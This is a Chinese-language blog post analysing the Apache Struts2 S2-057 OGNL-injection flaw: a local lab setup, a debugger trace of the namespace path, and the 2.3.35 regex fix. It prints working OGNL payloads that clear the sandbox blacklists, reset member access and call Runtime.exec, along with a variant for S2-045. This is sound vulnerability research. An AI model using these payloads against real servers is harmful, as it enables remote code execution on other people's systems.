利用空闲时间分析了一下struts2框架的历史高危漏洞,发现除了S2-052(XStream反序列化漏洞)以外,其他漏洞的本质都是由于框架执行了恶意用户传进来的OGNL表达式,从而造成远程代码执行。
发生OGNL表达式注入的点也是多种多样,如:请求参数名、请求参数值、content-type请求头、文件上传时的filename值、url地址等等。
struts2官方在S2-005漏洞爆出之前就已经添加了沙箱进行安全防护,但是却被不断绕过。这里记录一下我分析S2-057的过程。
1、我是使用的IDEA创建的一个maven项目,为了方便,我创建项目时使用的maven提供的如下的archetype:
2、项目创建后,在src/main目录下创建一个目录resources(简单起见没有创建java源代码目录),如下:
目录创建完后还需要在Project Structure配置中,按照下图设置,将resources目录标记为Resources即可:
3、在pom.xml中引入struts2的依赖:
<dependency>
<groupId>org.apache.strutsgroupId>
<artifactId>struts2-coreartifactId>
<version>2.3.34version>
dependency>
4、在resources目录下创建struts.xml文件,内容为:
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
<package name="default" namespace="/*" extends="struts-default">
<action name="test1">
<result type="redirectAction">testActionresult>
action>
<action name="test2">
<result type="chain">testActionresult>
action>
<action name="test3">
<result type="postback">testActionresult>
action>
package>
struts>
5、在src/main/webapp/WEB-INF/web.xml文件中的
<filter>
<filter-name>struts2filter-name>
<filter-class>org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterfilter-class>
filter>
<filter-mapping>
<filter-name>struts2filter-name>
<url-pattern>/*url-pattern>
filter-mapping>
6、这时struts2环境就搭建上了,整个项目的目录结构如下:
7、然后就是配置上本地的tomcat:
8、tomcat配置完成后,点击如下按钮,配置上tomcat上运行的war包,以下两种方式均可:
9、到这就完成了所有配置,启动项目后,在可以在浏览器访问了。
浏览器访问地址:
http://localhost:8080/$%7B22+22%7D/test1,即:
这时浏览器上的地址会被重定向到:
http://localhost:8080/44/testAction.action
可以看到OGNL表达式${22+22}被解析为了44,说明上面搭建的环境确实存在漏洞。
s2-057漏洞存在需要有两个必要条件:
1、 alwaysSelectFullNamespace属性值为true
2.、存在缺省namespace的package,或namespace使用了通配符(如“/*”)
既然alwaysSelectFullNamespace属性值为true是漏洞存在的必要条件,那么在分析漏洞原理之前,我先了解了一下alwaysSelectFullNamespace属性的作用,当alwaysSelectFullNamespace属性值为true时,可以明确用户访问的action在属于指定namespace的package中,不会发生去其他package中搜索action的情况,从而避免发生一些无法预知的问题。
举个例子,访问http://localhost:8080/aaa/bbb/test地址时:
当alwaysSelectFullNamespace属性值为默认的false时,框架首先会查找有没有名为/aaa/bbb的namespace,如果没有,则会查找有没有名为/aaa的namespace,如果依然没有,则会查找名为/的namespace,就这样一直往上查找上一层namespace,中间只要找到存在的namespace,便会在该namespace的package下查找名为test的action。如果一直没有找到存在的namespace或者在存在的namespace中没有找到需要的action,这时框架就会去缺省namespace的package中查找action,如果仍未找到,便会返回404,找到了则会执行该action。
当alwaysSelectFullNamespace属性值修改为true时,他只会查找名为/aaa/bbb的namespace,如果找不到,则直接去缺省namespace的package中查找action,不会层层查找上一级namespace是否存在。因此避免了一些无法预知的问题的发生。
当web应用中使用了Struts2 Convention插件时,alwaysSelectFullNamespace属性值是会开启的。我在做代码审计项目时,有时遇到一些使用struts2框架的系统,没有发现有开发人员开启这个属性的情况(即使在高版本的struts2中,我也会好奇地去看一下,虽然没什么意义),可能因为遇到的使用struts2框架的系统太少了吧,毕竟现在大部分都用的ssm或springboot。
这里我是通过参考漏洞发现者博客后进行分析的。
1、首先在org.apache.struts2.dispatcher.ServletActionRedirectResult#execute方法里设置断点,以调试模式启动项目,然后浏览器访问
http://localhost:8080/$%7B22+22%7D/test1
2、如下图可以看到,在处理redirectAction类型的跳转时的逻辑,先把namespace=“/${22+22}”和actionName=“testAction”封装到ActionMapping类型对象中,然后通过getUriFromActionMapping方法获取到完整url地址tmpLocation=“/${22+22}/testAction”,并将其赋值给this对象的location属性,最后调用父类的execute方法。
3、后面单步执行到其父类的父类的execute方法如下,看到调用了conditionalParse方法,并把location属性值传递了进入:
4、跟入该方法,看到了如下调用,就很熟悉了,该方法就是解析OGNL表达式的方法,看到将上面的location值传了进去:
5、于是“${22+22}”表达式就被成功解析了:
6、至于为什么要开启alwaysSelectFullNamespace属性?在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中解析uri时,如果alwaysSelectFullNamespace属性值为true,会进入如下分支:
上面的if分支中获取到uri中的namespae与action后,后面就将其添加到了mapping对象中,该mapping对象是ActionMapping类型
7、在org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter#doFilter方法中,在如下第一个红框里面获取到上面第6步中设置值的ActionMapping对象,然后在第二个红框中将该ActionMapping对象传了进去,经过一系列调用后到了上面第1到5步的调用流程。
8、由于整个调用栈很深,就没有一步一步跟进,只是分析了一下几个关键的地方,个人认为分析全部调用链也没意义。
S2-057漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16的版本中,于是修改项目中依赖的struts2的版本为2.3.35,如下:
<dependency>
<groupId>org.apache.strutsgroupId>
<artifactId>struts2-coreartifactId>
<version>2.3.35version>
dependency>
然后启动项目,在org.apache.struts2.dispatcher.mapper.DefaultActionMapper#parseNameAndNamespace方法中可以看到如下代码:
与上面第3章第6步中的代码对比后发现在设置namespace值时使用了cleanupNamespaceName方法进行了校验,校验方法是进行正则匹配:
正则表达式是:
可以看到其只允许大小写字母和数字及“.”、“_”、“/”、“-”四种符号,因此就无法注入OGNL表达式了。
上面漏洞分析过程中,只是简单的注入了${22+22}表达式,在网上找到了可执行命令的表达式,为了方便测试poc,我新建了一个test.jsp文件,然后使用
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head>
<title>test</title>
</head>
<body>
<s:property value="%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#context=#request['struts.valueStack'].context).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)).
(#p=@java.lang.Runtime@getRuntime().exec('calc'))
}"/>
</body>
</html>
上面的OGNL表达式是执行calc命令弹出计算器。下面贴出测试S2-045时的POC:
<s:property value="%{
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)).
(#p=@java.lang.Runtime@getRuntime().exec('calc'))
}"/>
可以看到唯一的差别就是#context对象获取方式不同,在S2-045时,直接可以在上下文中获取,于是我把pom.xml中的struts2的版本修改为了2.3.31,查看ognl.OgnlContext#get方法,可以看到当请求“context”时,会返回该对象:
但修改到2.3.34版本时,再查看ognl.OgnlContext#get方法,发现已经去除了该分支:
因此无法通过在上下文中通过#context方法获取OgnlContext对象,但是在#request域中存在值栈对象,在值栈对象中存在OgnlContext对象,如下:
因此可在request域中获取context对象。POC中获取context对象后,后面的代码就是去绕过沙箱里的安全配置:
#ognlUtil.getExcludedPackageNames().clear()操作会清除黑名单中的包名,如下所示这三个包下的类是不能被解析的:
#ognlUtil.getExcludedClasses().clear()操作当然就是清除黑名单中类名,如下所示即为不能解析的全类名,可以看到两个执行命令的类均在黑名单:
上述黑名单清除后,#[email protected]@DEFAULT_MEMBER_ACCESS,#context.setMemberAccess(#dm)操作则是设置OgnlContext对象中的memberAccess属性为DefaultMemberAccess类型,因为OgnlContext中默认的memberAccess属性为SecurityMemberAccess类型,如下:
从上图中虽然可以看到前面清除黑名单的操作在这里也起了效果,但还是有必要将memberAccess属性设置为DefaultMemberAccess类型,因为在SecurityMemberAccess中还有诸如allowStaticMethodAccess等的安全属性进行限制。
经过这些设置,就可以绕过沙箱保护来执行命令了。
1、上面POC分析中,我有个疑问,就是既然将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型,那应该就没必要使用#ognlUtil.getExcludedPackageNames().clear()和#ognlUtil.getExcludedClasses().clear()操作来清除黑名单了,但是我把该操作删除,也就是直接执行如下ognl表达式时:
<s:property value="%{
(#[email protected]@DEFAULT_MEMBER_ACCESS).
(#context=#request['struts.valueStack'].context).
(#context.setMemberAccess(#dm)).
(#[email protected]@getRuntime().exec('calc'))
}"/>
jsp页面会抛出如下异常:
从该异常中看不出是什么原因造成的,而且控制台也没有打印异常信息。
我又进行了另外一个测试,新建一个Action类,这一次在Action类中将OgnlContext对象中的memberAccess属性设置为了DefaultMemberAccess类型,如下:
在struts.xml中添加如下配置:
这时在浏览器访问http://localhost:8080/testAction时,页面会转发到test.jsp,并且成功弹出计算器,且没有抛出异常。
时间有限,就没有再继续分析上述抛异常原因了,希望有大佬能帮忙解惑。
2、学习到了发现S2-057漏洞的作者在他博客中讲述的一种挖掘源代码漏洞的方法,利用CodeQL进行语义分析,跟踪不受信任的数据源进入执行危险操作的方法中来挖掘漏洞,同时也想到了经常用到的Fortify也是基于这个原理来扫描源代码漏洞的,而且Fortify也可以自定义规则,因此计划后期把研究重点放在利用CodeQL和Fortify自定义规则进行语义分析来挖掘漏洞上面。
https://securitylab.github.com/research/apache-struts-CVE-2018-11776